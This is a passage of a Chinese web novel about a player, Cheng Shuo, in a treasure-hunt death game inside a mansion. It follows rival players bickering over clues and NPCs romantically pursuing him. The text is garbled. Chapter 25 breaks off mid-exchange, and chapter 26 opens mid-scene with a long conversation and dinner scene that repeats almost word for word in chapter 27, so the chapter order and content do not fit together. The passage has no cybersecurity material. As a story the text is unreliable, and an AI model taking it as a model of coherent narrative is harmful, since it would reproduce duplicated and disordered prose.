午餐时间到了，泽恩和谢尔还没出现，早已坐在桌前的众人满脸不解。
程朔仰头看向三楼，确定上面没动静后站起身：“看来今天没有午餐，大家继续找吧。”
沈脆闻言站起身，临走前看了眼墙壁上的画：“找了一上午，就找到几个？你们几个人效率真低。”
“那也比你什么线索都没有好。”苏南反唇相讥。
“谁说没有。”沈脆斜睨程朔一眼，“但是我不想告诉你们，除非……”
程朔懒得理会，长腿一迈，往二楼走去。
眼珠刷新随机，并不是他们一直找就有用，需要的是耐心等。
“你这搞得跟真喜欢他一样。”王克之嫌弃地开口，“进游戏之前娱乐圈里的人？演技挺好，我都以为你真喜欢男的了。”
沈脆慢悠悠道：“谁说我是演的？我对他是真心的，不明显吗？”
王克之一顿，目光怪异地往后退了两步，拉开与沈脆的距离。
“你放心，我是喜欢男的，但对你不感兴趣。”察觉出他的想法，沈脆淡声开口，往三楼去。
“你老在三楼等什么，万一他们真找到线索了不告诉我们怎么办？”王克之跟上，忍不住开口。
“比起来他们，我更相信答案在三楼的人中。”沈脆不耐烦道，“你要是不愿意来就在下面等着。”
王克之步伐加快：“那还是算了。”
他嘿嘿一笑，眼珠子转动不停，双手来回交换握拳，语气里满是一切尽在掌握的傲慢：“到时候要真还有线索了，我不信他们不共享。就算不共享也没关系，我自有办法。”
*
或许是一直在走动站立，程朔小腿莫名酸痛。
他半蹲着用手去捏，心里正吐槽着这幅身体没用，忽然感受到一股强烈的目光自上袭来。
程朔下意识仰头。
他身处于一楼楼梯处，这一仰，目光刚好能轻易穿过扶手，直达三楼楼梯处天花板。
然而这一次没有看到熟悉的天花板，而对上了一双眼睛。
眼睛的主人单手撑着下颚，眼睛直勾勾地盯着他。
程朔能确定在自己看过去时，那双眼睛无半分笑意，却在与他视线相对的那一刻像是烟花绽放，点点笑意从瞳孔中蔓延，直至占据整双眼睛。
男人没有动，就那么保持着散漫的姿势，贴在脸颊处的手指有一下没一下敲动着，显得极为慵懒惬意。
是泽恩。
程朔发现他与谢尔十分相似。
要是不仔细看脸，对视的那一刹那，程朔会以为他是谢尔，直到发觉那隐隐泛着红光的瞳孔才反应过来是泽恩。
他们该不会真是同一个人。
23.第二十三章
第23章
程朔不禁蹙眉，理智和逻辑又将想法彻底推翻。
他收回目光，捏了两下腿，再抬头时高处楼梯口已空无一人，仿佛之前的注视只是他的错觉。
双腿好了很多，程朔站直身体踢踢脚，继续找眼珠。
七点时，几人找到最后一颗眼珠。
将最后一颗眼珠送入画中，十四幅画在灯光的照耀下产生了细微的变化。
那些眼珠宛如有生命般，能听见黏腻的眨动声。
可再仔细听，声音消失不见，画中眼珠死气沉沉地盯着所有人。
“总算是成了。”苏南凑在画前，四处张望着，甚至把画拿下来倒了倒，“什么反应都没？给点反应。”
他拍拍画框，最终失望将画挂回原位：“还以为能有啥惊喜彩蛋，结果真没反应。”
“那大家继续分散找线索吧。”程朔转身，对这个结果有所预料。
“去三楼吧，我觉得三楼线索最多。”苏南也没犹豫，抬脚往楼上走去。
程朔才刚跟着迈出一步，头顶灯光闪烁，刺眼的白色水晶灯开始不停晃悠。
眼看摇摇欲坠，四周骤然陷入黑暗。
下一秒，各种乱七八糟的声音回荡在周围。
程朔耳边嗡嗡乱响，抬手捂着耳朵缓和一会儿，那些声音才逐渐变得稳定。
他听见了鸟叫声，以及不停拍打翅膀的响动。
程朔想起那幅画，眯起眼，努力在黑暗中分辨着。
很快，前方出现模糊的景象，随着时间流逝变得越来越清晰。
身旁空无一人，他并不在大厅中，而是在一片看不到尽头的草原上。
头顶天空灰沉无光，翅膀扑打声从前方传来，程朔不禁看去。
脑袋翅膀都朝下的鸟不停煽动着翅膀，可无论它怎么努力，始终在原位。
察觉到程朔的注视，那只鸟脑袋僵硬地挪动着，从低下的状态缓缓抬起，看向程朔这边。
那双灰白色的眼睛飞快眨动，似乎在提醒着什么。
对上那双眼睛的刹那，程朔明白过来一点——他和其他人恐怕都进入了画中。
他站在原地，环顾四周。
天色昏暗，不远处的鸟依旧保持歪着脑袋盯着他的姿势，眼睛一动不动，只有翅膀不断上下动着。
“扑哧，扑哧。”拍打声骤然加速，无形中提醒着什么。
程朔抬脚朝前走去。
冷风迎面而来，刺骨冰寒，他停在鸟面前的那一刻，鸟原本抬起的脑袋瞬间像是断线木偶般垂下，两只无机质的眼睛死死上扬，盯着程朔。
程朔迅速后退两步，生怕它眼睛弹出来。
可惜他没猜对。
“滋啦”一声，有什么东西裂开。
程朔顺着声音看去，就见鸟的肚子裂开一条缝隙，里面黑到什么都无法看清。
确定没什么危险之后，他才尝试将手放进去。
鸟肚子里面空的，程朔摸索半天才摸到一个稍微坚硬的东西，是纸团。
鸟依旧垂着脑袋。
他拿出纸团，一边打开一边观察着鸟。
什么都没发生，纸条成功打开，上面写着一句话。
“第一个宝藏被我放在画册里了。”
字迹太过熟悉，程朔一眼认出来这是泽恩的字。
不，也可能是管家谢尔的，毕竟两个人的字迹完全一样。
程朔举起字条，仰头盯着片刻，没想到线索会以这种方法得到。
更让他诧异的是，这线索和森洛说得对应上了。
看来五份宝藏分别藏在了不同地方。
如果莱非的话也是真的，还有一份宝藏跟画有关。
程朔收起纸条，垂眸对上鸟的眼珠，目光下移，落在它还在扑通的翅膀上。
他伸出手，抓住鸟的翅膀尝试往上抬，刚动一下，鸟瞬间发出一声怪叫：“嘎。”
这声音吓得程朔骤然收回手，下意识开口：“抱歉，我不是故意的。”
鸟又恢复了之前的那般，程朔这词不敢再动。
他碰了下口袋里的纸条，望着鸟的眼睛：“谢谢。”
鸟的眼珠疯狂眨动，像是对他的回应。
如果这是在画里，他现在也拿到线索了，该怎么出去？
程朔转身看向身后灰白色的一切，仰头开始寻找天空中隐藏的那只眼睛。
可惜眼睛看到酸涩难受，也没有找到那只红色的眼睛。
程朔视线再一次落在了现场唯一算得上活物的鸟上。
灰色的鸟歪着脑袋，翅膀不停煽动，随着声音越来越吵，眼珠也在加速眨动。
余光瞥见一抹红，程朔偏头，注意到那颗红色眼珠藏在鸟的翅膀下。
他没来得及反应过来，天旋地转，眼前倏然陷入黑暗，脚下虚浮，像是踩在棉花糖里过分柔软。
翅膀扑打声逐渐听不见，眼前黑到无法分辨，总觉得脚下虚浮摇晃，程朔伸出双手，怕身形不稳摔倒。
不过刹那，眼前恢复清明，淡白色的灯光将大厅照得极为华丽。
其他人还没回来，程朔抬起眼镜捏了捏眉心，对上不善的眼神。
是沈脆。
他和王克之站在楼梯上，正死死地盯这边。
对上程朔的目光，沈脆咧嘴冲笑了笑。
“你去哪里了？”他率先开口，一边打量程朔，一边靠近，“是不是得到了什么线索？”
目光落在程朔鼓起来的口袋上，沈脆步伐瞬间加快，摆明了想抢。
程朔从口袋里拿出纸条，举起来笑吟吟道：“是啊，想要？可惜是我得到的。”
“你把线索给我，我不会动你。”王克之慢了沈脆一步，眼看着程朔拿出纸条，慌忙从楼上奔下来，“不然就不好说了。”
程朔瞥了他一眼。
王克之体型确实宽大，手臂肌肉众多，看上去还真的难以打过。
但这线索轻易交出去太便宜他们。
程朔眼睛一转，对上一旁充满算计的沈脆，后退两步，把玩着手中的纸条说：“那怎么办？我就一个线索，你们两个人都想要。给谁呢？”
他故意沉吟片刻：“我给沈脆吧。”
沈脆和王克之同一时间愣住。
或许是没想到程朔会主动说把线索给自己，沈脆眼神奇怪，有些兴奋，细看又夹杂着怀疑，最后变得不可置信。
王克之满脸不爽：“不行，我不同意。”
到时候这两个人一个阵营，自己反而成了一个人，情况对他不利。
想到这里，王克之逼上前一步：“把线索给我，不用给沈脆。”
身上带着线索总被惦记，不太安全，再加上程朔一开始也没想藏着掖着，但他就是要让沈脆不痛快。
程朔挥挥纸条，无所谓道：“那算了，我只给沈脆，你不让给的话，那我就撕掉好了。”
他拿过纸条准备撕毁。
王克之见状瞳孔紧缩，连忙开口阻止：“别啊，别撕。”
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>这个伊索知道纸条内容，自己可不知道，撕毁对他们来说没任何好处。
王克之咬牙，看了沈脆一眼，用眼神示意他过去，随后侧身屏气凝神，打算偷听。
“你真这么好心？”沈脆停在程朔身边，眼底是显而易见的警惕。
“当然了，线索共享，我又不像某人一样，把所有玩家当成敌人针对。”程朔似笑非笑地望着沈脆。
“我没有针对你。”沈脆下意识解释，“我是……”
“可别说是喜欢我。”程朔嗤笑一声，觉得厌烦，“千万别说这样都是为了引起我的注意。”
沈脆难得沉默了，只盯着程朔。
程朔挑眉，难不成他随口一讽刺，还真说对了？那更恶心人了。
跟一个小学生一样，因为喜欢所以故意恶心人。
程朔浑身起了一层鸡皮疙瘩，面无表情地推了下眼镜：“你换个人喜欢吧，我没那个运气能被你喜欢。”
“你不喜欢我吗？”沈脆认真询问。
程朔震惊了，没见过这么没脸没皮的人。
“你有什么是我会喜欢的吗？”他没了耐心，更为冷漠嘲讽，“以为自己是钱，谁都喜欢你？”
程朔再无耐心，展开纸条，将内容展现给沈脆。
谁知他并不着急纸条，而是直勾勾地盯着程朔删了，问了个毫不相关的问题。
“你不喜欢我？那喜欢谁？你有喜欢的人了？是泽恩？还是谢尔？”
程朔觉得他不仅神经，还听不懂人话，准备收回纸条：“不看算了。”
关键时刻，沈脆瞥了眼。
确定他看到后，程朔快去将纸条撕毁，拿起旁边的水浸透碾烂。
完全没料到这一幕的王克之傻眼了，左看右看，骤然握紧拳头。
程朔这边才刚拍干净手，嘴角还带着似有如无的笑，一抬头对上双眼睛。
眼睛的主人默不作声地站在二楼楼梯拐角处，不知道站多久。
程朔心里一个咯噔，想起沈脆问那个问题。
他没放在心上，想都没想，但站在二楼的泽恩明显听见了。
像是猜透他的想法，泽恩微微一笑，冲他张了张唇。
“伊索先生选择谁？”
明明是一句无声的询问，可程朔仿佛能听见那带有占有欲的声音。
他谁都不想选。
这是个闯关游戏，又不是选NPC攻略游戏。
程朔回以同样微笑，无声张唇：“谁都不选。”
泽恩脸上的笑容一刹那变得更多。
四周寂静到没有一点声音，泽恩站在那不容易发现的阴影处，面容在昏暗中显得更为好看，几乎令人无法挪开目光。
在这沉静之中，他眸色温柔地对着程朔所在的方向，缓慢开口：“伊索先生可以两个都选。”
程朔脑袋嗡一声，被这句唇语弄得一片空白。
平时看过的小说在这时一窝蜂涌入脑海，上演各种大战，到最后什么不该想的都想了。
程朔双手一抖，他才不要两个都选。
不，是不选。
他瞪向泽恩，摇头后很干脆地回复：“抱歉，我是直男。”
不知道是听懂了这句话还是压根没听到，泽恩没再回答，给了程朔一个意味深长的笑容，抬脚往三楼走去。
程朔收回目光，不自在地取下眼镜擦拭着，试图转移注意力。
一个男的都接受不了，别说两个了，想和他玩n什么p？
果然变态。
24.第二十四章
第24章
现在不是想这个的时候。
程朔戴上眼镜，干脆利落地给了自己一拳，打断了胡思乱想。
旁边早就觉得他奇怪的王克之和沈脆：“？”
两人之前一直在小声交谈，也没注意程朔在干什么，现在怀疑他是不是在打什么坏主意。
“好了，看完了。”程朔脸颊被打得一片红，他毫不在意地看向两人，“我已经把线索告诉沈脆了，你有什么想问的问他就好了。”
“你刚刚为什么要把纸条毁了？”王克之不高兴道。
程朔瞥了沈脆一眼，又迅速收回目光，欲言又止。
“说话啊。”王克之见状皱眉。
沈脆这才后知后觉反应过来程朔这么做的目的，不禁皱眉，却晚了。
他还没开口，程朔就率先说：“是沈脆说他看完了就可以毁掉了。”
他耸耸肩：“你要是好奇你问沈脆，我也好奇他为什么不想让你看。”
王克之顿时看向沈脆。
沈脆还算冷静：“他故意的，你看不出吗？可别真愚蠢到上当了。线索就是我刚说的那样，宝藏在画册里。”
王克之还没有所反应，程朔不停点头，生怕被发现什么的样子：“对，对就是这个线索，我刚给沈脆看的就是这个线索。”
欲盖弥彰的话语让有点相信的王克之瞬间暴怒：“你俩逗我玩呢？”
“这就是真的线索，一条线索而已，又不是宝藏，我没必要藏着掖着。”沈脆被他说得烦了。
程朔再次小鸡啄米点头，王克之彻底不信。
沈脆磨牙问程朔：“这种拙劣的力量有意思吗？”
“有啊，可好玩了。”程朔微笑，眼底笑意呈现几分恶劣。
他走到一旁，拉出一把椅子坐下，跷起二郎腿，姿态略显慵懒。
“你怎么证明你说的是真的？”王克之忽然问沈脆。
沈脆骂他神经病，一条线索有什么好证明的。
王克之这下更加认定他说的话是假的：“你跟伊索商量了什么？”
“你脑子真的有问题。”沈脆气极反笑，“你看不出他是故意的吗？就是为了现在看我们两个吵起来。你倒是一点都不思考，直接上当了。”
“我不知道你吗？想独吞。”王克之冷漠道。
两人你一句我一句吵起来，程朔在一边看得极为兴奋，托着下巴极为优哉，内心感慨要是有瓜子就好了，他就是个彻底的吃瓜群众。
就在这时，东为倏地出现。
大厅静默一霎，王克之面目狰狞地威胁出声：“把线索给我。”
“交出来，不然他要弄死你。”沈脆煽风点火。
东为没理会，直接把线索递给程朔：“你拿到了吗？这是我的。”
程朔接过，避开王克之和沈脆展开纸条。
第二个宝藏在画中，对上莱非说的话了。
但即使有线索也非常难找，范围太大。
至于那个画册，他从一开始就没见过。
程朔凑近东为，小声把自己获得的线索说出。
东为一边听一边点头。
一旁的王克之蠢蠢欲动，程朔似笑非笑地提醒出声：“现在我们也是两个人，想说话可要小心了。”
话音刚落，苏南嘀咕着出现。
程朔微笑改口：“不，现在是三个人了。”
苏南停止嘀咕，看到程朔激动起来：“我莫名其妙地就拿到了线索，你们呢？”
“拿到了，加上你现在一共有三个。”程朔说。
苏南凑到程朔身边，展开纸条：“第三个宝藏在房间中。”
这个线索的范围更大，这么多房间，不确定宝藏是什么，无异于大海捞针。
更重要的是每个房间都找过来了，并没发现什么线索。
程朔收起纸条，故意摧毁不给王克之和沈脆看。
王克之脸色臭到极致，推了推沈脆：“看不出这些人排挤我们两个呢？还不赶紧去问问，这样下去我们太被动了。”
东为把另外两条线索告诉苏南，苏南闻言伸个懒腰：“没白费，要是询风和李河山也得到线索的话，刚好五个线索，我们直接找到宝藏通关了。”
这话更让王克之面容扭曲，再次撞了下沈脆，催促他赶紧。
“问我们也不会说。”苏南斜睨两人，阴阳怪气道，“之前让你们找眼珠，你们不找，现在怎么好意思觍着脸要线索的？你们不是喜欢找楼上吗？继续啊。”
王克之干笑两声，搓搓手，放低姿态商量着：“都是玩家，有线索还是共享比较好，万一后面我们也
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得到了你们没有的线索呢。”
“真要是那样的话，也只是我们运气不好。不过我觉得这五个线索足够让我们通关了，你们后面找到的不告诉我也没关系。”苏南咧嘴一笑。
这话让本就不理智的王克之彻底癫狂，笃定他们手中的线索能够直接找到宝藏离开，拧眉威胁出声。
“我现在跟你们好好商量，你们最好交出来。不然等到我动手，谁也不好受。”
东为：“我好怕哦。”
程朔见她面无表情说出这害怕的话语，没忍住笑出声。
“不知好歹。”王克之气到不停翻白眼，撞开沈脆，抓住苏南就要拿他开刀，“把你得到的线索说出来，不然我弄死你。”
苏南学着东为，面无表情开口：“我好怕怕哦。”
程朔：“噗。”
王克之疯了，抓着苏南的手逐渐收紧力道，把他举起来想摔出去时，询风出现了。
程朔默默把差点从口袋里拿出的听诊器放回去。
王克之几乎立刻松开手，转身去抢询风手里的线索纸条。
谁都没想到他速度这么快，特别是刚出来的询风，刚一眨眼纸条就被抢走了。
他满不在乎，只看向程朔几人：“我得到了一个线索，但很难看出意思，你们呢？”
苏南骂了两句，听见这话稍微冷静下来：“为什么难看出意思？就一个字？”
“差不多。”询风叹息，“两个字。”
程朔好奇会是什么字，看到王克之脸色从欣喜到灰败再到愤怒，隐约猜出什么。
王克之咒骂两声，直接把线索递出去。
“刚刚激动了，不好意思，我把线索还给你们，你们告诉我其他线索。都说了大家都是玩家，没必要搞得那么僵。”
展开的纸条上只有两个大字——泽恩。
确实挺难看出意思，估计代表泽恩那边有宝藏。
程朔发觉什么，抬眼看向其他人，发现都在盯着自己。
他疑惑不解：“你们为什么都看我？”
“要是有人能从这人身上找出宝藏，估计只有你了。”苏南说。
程朔抬手推着眼镜，平静道：“那要让你们失望了，我又不是什么例外。”
其他人几乎异口同声：“不，你就是例外。”
25.第二十五章
第25章
程朔多少有些不好意思。
虽然不知道泽恩四人为什么只对他走攻略路线，但他真不觉得自己是什么例外。
最后一个李河山也出来了。
程朔收起思绪，同其他人一起看向他。
如果一个线索对应一个宝藏，加上李河山的线索，直接可以找到五个宝藏。
“你们别看我。”李河山无奈一笑，“我这里得到的线索是空白。”
“没有内容？”程朔一怔，反射性问。
“不是。”李河山打开纸条，面向所有人，“是写着空白两个字，我看不懂什么意思，你们看得懂吗？”
好歹是线索，但太广了，谁都不知道空白代表什么。
王克之趁机低咳两声，说：“线索不好弄清楚，大家还是互相共享线索，找起来方便一些。没多少时间了。”
程朔故意沉吟：“宝藏有五个，我们刚好有五个线索。我们是不急，你们怎么办？”
大厅沉默下来，这话直接把藏在暗处的问题摆在明面上了。
王克之沉了脸，一言不发地看向沈脆。
沈脆躲开，咬牙道：“伊索就是要扰乱我们两个，方便他们找宝藏，没人跟他们争抢了。你可别愚蠢到真的相信了。”
“他说得也是事实。”王克之活动手腕，咧嘴一笑，“现在必须先解决两个人。人数解决了，找到宝藏就可以直接离开了。”
沈脆：“就算要淘汰人，我一个，还有一个呢？得是伊索那边的人。这样你不如直接淘汰他们那边两个，刚好可以得到线索，去找宝藏离开。”
不等其他人说话，他继续说：不然你觉得淘汰我之后他们会给你线索吗？肯定想办法把你淘汰。你要是淘汰他们，我会帮你，毕竟我也有名额。”
王克之心动了，目光落在每个人身上打量。
沈脆说的话没避开人，其他听到的玩家面色各异。
程朔推推眼镜，冷笑出声：“这游戏谁都在装，别搬起石头砸自己的脚了。”
王克之皱起眉头，越发烦躁，他抓抓头发，短暂思考后开口：“我不和你们玩那么多虚的，目前就两个选择。要么从现在开始共享线索，谁能找到宝藏谁离开，要么我动手两败俱伤。”
程朔无所谓，其他人思索之后点头同意，告诉他所有线索。
“你们不会骗我们吧？”王克之半信半疑，不相信他们这么容易就交出线索。
“谁有那时间。”苏南鄙夷道，“线索没那么明确，根据这线索找宝藏各凭本事。”
王克之没说话，脑子里全是线索，最后决定选择关于画的线索，觉得这个最容易。
画册根本没见过，泽恩还得去接触，他怵得慌，房间都找过，没有任何线索，至于那个空白范围更广。
王克之笑着开口：“那从现在开始，大家友好相处。”
他走到画前，重新打量。
目光掠过墙壁上的画，程朔脑海里闪过一个模糊的猜测，不太确定。
“快找线索，七个人，五个宝藏，不知道最后谁会被淘汰。”苏南低声开口，“说不定最后王克之会淘汰沈脆，之后再来淘汰我们中的一个。”
程朔笑了笑，拍拍苏南肩膀说：“你不了解王克之，还不了解沈脆这个人吗？他们两个谁淘汰谁还说不定。”
程朔很少会笑得这么开心，这一笑让苏南愣住，意味深长地说了句：“我看勾引还是可以成功的。”
程朔瞬间听出他的意思，收起笑容，认真且诚实地开口：“我是直男。”
苏南说：“一般特意强调多次自己是直男的，十个里面九个弯，还有一个弯而不自知。”
那不就是十个全是弯的。
程朔默默闭嘴，暗想以后再也不说这句话了，省得在无形之中都把自己催眠成了弯的。
东为提醒：“都要小心，这两人会随时出手。”
几人点头应下。
不远处的沈脆笑了笑，意有所指：“反正第一关是新手福利关卡，不如聪明的人自己淘汰，成全了我们，去失败局争抢那个肯定没问题。”
程朔还没开骂，苏南就率先怼出声。
“天啊，你是不是把大脑连接小肠了，不然怎么能说出这么NC的话。”
沈脆并不在乎，目光深情地看向程朔，故意用油腻恶心人的语气开口：“我不选择伊索，伊索可以放心了。”
程朔毫不客气亮出中指：“从你嘴巴里说出我的名字都恶心，闭嘴。”
他骂了一声傻鸟。
周围人似乎挺诧异他会骂这种词，看他好几眼。
程朔摸摸鼻子，不再浪费时间和沈脆纠缠，一口气来到三楼。<
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走廊上方的眼睛消失了，只剩下灯。
尽头墙壁上多出一个空画框，不知道什么时候会出现适合的画。
程朔摸了摸口袋，里面还放着之前被撕成五份的画。
身后响起脚步声，他以为是苏南跟过来了，没回头，放下手随口道：“不知道这幅画会换成什么。”
“之前说过了，会是一个七人图。”低沉磁性的声音太过独特，程朔一下听出是泽恩。
他扭头看去。
身形高大的男人静静地站在他身后不远处，背光而站，面带微笑，眼睛泛着一点不易察觉的红。
空气都随着他的出现安静下来。
程朔受不了与他之间这种过分诡异的静默，主动打破僵持：“宝藏在哪里？”
泽恩微笑不变：“我确实想起了一点，如果说出来，伊索愿意一直留在这里陪着我吗？成为多塔别墅的另一个主人。”
这话跟直接问他要不要谈恋爱没任何区别。
程朔婉拒：“我没兴趣。”
他话锋一转：“不过要是找到宝藏，我可能会改变想法。”
他故意将话说得很模糊，但怎么感觉这种也类似于勾引。
程朔摇头，收起混乱的思绪。
泽恩并不上当：“需要找宝藏的人是你们的任务，不是我。”
程朔没说话，打量着身后的空画框，努力忽略身后的泽恩。
越想忽略，脑子记得越清楚，他不由自主想起谢尔房间里的那张照片，想问泽恩又忍住了。
身后没了动静，程朔以为泽恩离开了，略微偏头，没想到泽恩不知何时站在了他身后。
他这一转头，嘴差点贴在泽恩脸上。
程朔立刻后退一步。
头顶的灯光打下来，刚好落在泽恩脸上，那张完美的脸让人看得前所未有的清楚。
程朔没忍住多看两眼，心里感慨着长得好看确实能迷惑人，倏然注意到泽恩耳朵上有道痕迹，凝眸一看，是一个小疤痕。
他抬手指了指自己的耳朵：“你这里是怎么回事？”
泽恩一顿，目光落在程朔白嫩的耳朵上，双眸微垂，声音十分低：“小时候受过伤。”
程朔下意识说：“你眼睛受过伤，耳朵也受过伤，小时候真是多灾多难。”
“你是在心疼我吗？”
26.第二十六章
第26章
好的，他一定不会想。
程朔脸上毫无表情，内心早就雀跃起来。
太好了，一直到找到线索离开这里都不需要担心晚上被人夜袭。
莱非不能来，森洛应该也被禁止了，泽恩做了一件非常好的事。
莱非打量着程朔，见他面无表情，眼神却一直闪烁，难过地问：“伊索，你已经伤心到说不出话吗？”
程朔差点绷不住笑，低咳两声，没有回答这句话，看向别处。
莱非随着他的视线转动，注意到放在床上的画，表情微凝。
程朔以为他看出什么：“怎么了？画有问题吗？”
莱非摇头，低声开口：“你来多塔别墅多久了？”
程朔想了想，自己也不太确定：“今天是第……四天？”
他在心里默默算了下，确实是第四天。
第二天泽恩特意说过，寻宝时间为一周，现在还剩四天。
再不找快点，剩余的这些玩家都会被淘汰。
莱非没说话。
忽然的静默令人不自在，程朔注意到他脸色奇怪，主动询问：“怎么了？”
“没什么。”莱非含糊不清地开口，“多塔别墅不太平，你要小心。”
程朔心里咯噔一声，不知道这个不太平有多不太平。
莱非叹口气，认真地对程朔说：“明天就到时间了，你最好待在房间里哪里都别去，特别不要在别墅里闲逛。”
见他准备离开，程朔叫住他：“你说明白一些。”
“没办法说明白，你经历了才会知道，只要待在房间里，就不会发生什么。”莱非再三叮嘱，打开房门说，“我要回去了，泽恩知道我来这里肯定又会生气。”
想起他们当时在房间里无声对峙着什么的场景，程朔实在好奇，走过去拦住莱非。
“你们当时在泽恩的房间里讨论什么？”
莱非表情略微古怪，没有着急开口解释。
程朔大概猜出来：“在说我？”
莱非点头：“泽恩说我们不能再折腾你，不能对你造成困扰，不然会将我们赶出这里。”
他眼神黯然：“以后我不能来你房间，让你快乐了。”
这话太猝不及防，程朔想阻止已经来不及了，无奈扶额，佩服莱非能把正常玩游戏行为描述的如此暧昧惹人误会，
莱非依依不舍地离开了。
目睹莱非上楼，程朔返回房间。
不管怎么说，明天肯定会有大发现，他只需要等。
在房间里待了会儿，程朔受不了过度的安静，将床上的画收好，离开房间时楼下正好在准备晚餐。
谢尔动作优雅地将晚餐端至桌上。
大厅氛围极为压抑沉默，几个玩家面对面坐着，没人说话。
晚餐是牛排，这次的牛排并不像上次那么熟，带着明显的血。
程朔不喜欢吃，扒拉两口直接放弃，坐在原位盯着牛排盘子，耳边不由自主回荡着莱非的话。
想得越多，思维越混乱，无法理清，他下意识瞥了眼身侧坐着的泽恩。
似乎察觉到他的目光，泽恩微微偏头。
四目相对，程朔反射性避开他的视线，不自在地摸了摸后颈。
泽恩冲他笑了笑，而后放下刀叉，声音平稳：“明天大家最好在房间里安静待着，哪都不要去。”
“当然，如果有不怕死的人可以不听。”他擦干净唇，站起身往楼上走去。
其他玩家面面相觑，没人回答，吃过饭后逐渐离开。
太晚了，该休息了。
程朔跟着起身，想起什么，倏然坐回原位，用余光注意着谢尔。
他安静地站在一旁，像是没有思想的木头人，等待着主人下达命令。
回过神时，整个大厅只剩下他和谢尔。
程朔又饿了，吃了点牛排，打算擦唇的那一刻，有一只手先他一步拿起纸巾，温柔地替他擦拭着。
一切进行得太快，程朔反应过来时差点把桌子掀飞，目光惊悚地盯着丝毫不觉得有什么的谢尔，对上他认真专注的表情，浑身控制不住起了一层鸡皮疙瘩。
程朔慌忙避开谢尔的手，快速擦拭干净后起身。
“谢谢，但下次不用你帮我。”他理好思绪，推了推眼镜，不悦道，“我不是小孩子。”
发现自己是捕捉者后，程朔没再刻意保持伊索的恶劣性格，现在重新扮演多少有些不自然。
他紧紧绷着下颚，表现出满满的抗拒。
谢尔笑了笑：“好。”
程朔犹豫片刻，瞅着谢尔：“我在你房间见过一张照片，拍的是
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我，你从哪里来的？”
谢尔没有多余反应，也并不好奇他是怎么进入自己房间，知道照片的事，只平静回答：“是主人给我的。”
“泽恩为什么把我的照片给你？”程朔蹙起眉头，不太相信。
“现在找到宝藏才是最重要的事，时间就快到了，伊索先生不担心找不到宝藏吗？”谢尔眨眨眼，唇角依旧是温柔的笑意。
知道再追问也问不出什么，程朔起身，声音平淡地问：“你跟泽恩有什么关联？”
这次谢尔十分诧异：“我和主人？伊索先生是误会什么了吗？我和主人没有任何关联。”
程朔打量着他的表情，看不出什么异样，摇摇头没再说什么。
他面向楼梯，自言自语道：“你们有点像。”
这话随口一说，没打算得到谢尔回应。
程朔没再停留，错过了身后谢尔有些复杂形容不出的神情。
大厅里静悄悄的，只剩上楼的声响
程朔一直低头沉思，没注意眼前，脑袋骤然撞到微硬的东西，整个人反射性向后倒去。
手腕被一股大力抓住，往前一扯，他回过神已在温暖的怀抱中。
程朔恍惚了一刹，只能感觉到头顶温热的气息。
他立刻后退，试图挣脱，却被拦腰搂得更紧。
程朔抬头。
四目相对，泽恩眼睛黑得不见光，所有不可弄清的情绪藏匿其中。
程朔嗅出危险，更加挣扎。
泽恩手指微动，他一怔，能清楚感觉到后腰处放着的手指。
指尖触碰到腰处肌肤的感觉十分陌生，程朔身体逐渐僵硬，完全不适应目前过度亲密的姿势，手都不知道该往哪里放。
如果可以，他想放在泽恩脸上。
“你还不松开我吗？”时间一分一秒过去，见泽恩依旧专注盯着自己不动弹，程朔忍不住催促。
泽恩仿佛现在才回过神，收回手，轻扶着他的手臂将他扶稳，轻声笑了笑：“伊索先生要小心。”
现在挺绅士，刚刚干什么呢。
程朔摸了下后腰，还能感觉到那因触碰而窜动全身的细微痒意。
他转移目光，不想所有注意力都放在泽恩身上。
好巧不巧，程朔与站在楼梯处，正往这边看的管家谢尔对上目光。
27.第二十七章
第27章
程朔对谁喜欢自己不感兴趣，而且大概知道莱非说的是谁，晦气到不想提及，转移话题：“你来找我有事吗？”
莱非更加委屈：“你怎么看我跟看到洪水猛兽一样躲着。”
“你来找我准没好事。”程朔毫不犹豫地开口。
莱非垂头丧气好一阵，才失落开口：“泽恩警告我了，不能再过来打扰你，所以从今天开始，晚上我不能再来陪你睡觉了。”
“伊索，你别太想我了。”
好的，他一定不会想。
程朔脸上毫无表情，内心早就雀跃起来。
太好了，一直到找到线索离开这里都不需要担心晚上被人夜袭。
莱非不能来，森洛应该也被禁止了，泽恩做了一件非常好的事。
莱非打量着程朔，见他面无表情，眼神却一直闪烁，难过地问：“伊索，你是伤心到说不出话了吗？”
程朔差点绷不住笑，低咳两声，没有回答这句话，看向别处。
莱非随着他的视线转动，注意到放在床上的画，表情微凝。
程朔以为他看出什么：“怎么了？画有问题吗？”
莱非摇头，低声开口：“你来多塔别墅多久了？”
程朔想了想，自己也不太确定：“今天是第……四天？”
他在心里默默算了下，确实是第四天。
第二天泽恩特意说过，寻宝时间为一周，现在还剩四天。
再不找快点，剩余的这些玩家都会被淘汰。
莱非没说话。
忽然的静默令人不自在，程朔注意到他脸色奇怪，主动询问：“怎么了？”
“没什么。”莱非含糊不清地开口，“多塔别墅不太平，你要小心。”
程朔心里咯噔一声，不知道这个不太平有多不太平。
莱非叹口气，认真地对程朔说：“明天就到时间了，你最好待在房间里哪里都别去，特别不要在别墅里闲逛。”
见他准备离开，程朔叫住他：“你说明白一些。”
“没办法说明白，你经历了才会知道，只要待在房间里，就不会发生什么。”莱非再三叮嘱，打开房门说，“我要回去了，泽恩知道我来这里肯定又会生气。”
想起他们当时在房间里无声对峙着什么的场景，程朔实在好奇，走过去拦住莱非。
“你们当时在泽恩的房间里讨论什么？”
莱非表情略微古怪，没有着急开口解释。
程朔大概猜出来：“在说我？”
莱非点头：“泽恩说我们不能再折腾你，不能对你造成困扰，不然会将我们赶出这里。”
他眼神黯然：“以后我不能来你房间，让你快乐了。”
这话太猝不及防，程朔想阻止已经来不及了，无奈扶额，佩服莱非能把正常玩游戏行为描述的如此暧昧惹人误会，
莱非依依不舍地离开了。
目睹莱非上楼，程朔返回房间。
不管怎么说，明天肯定会有大发现，他只需要等。
在房间里待了会儿，程朔受不了过度的安静，将床上的画收好，离开房间时楼下正好在准备晚餐。
谢尔动作优雅地将晚餐端至桌上。
大厅氛围极为压抑沉默，几个玩家面对面坐着，没人说话。
晚餐是牛排，这次的牛排并不像上次那么熟，带着明显的血。
程朔不喜欢吃，扒拉两口直接放弃，坐在原位盯着牛排盘子，耳边不由自主回荡着莱非的话。
想得越多，思维越混乱，无法理清，他下意识瞥了眼身侧坐着的泽恩。
似乎察觉到他的目光，泽恩微微偏头。
四目相对，程朔反射性避开他的视线，不自在地摸了摸后颈。
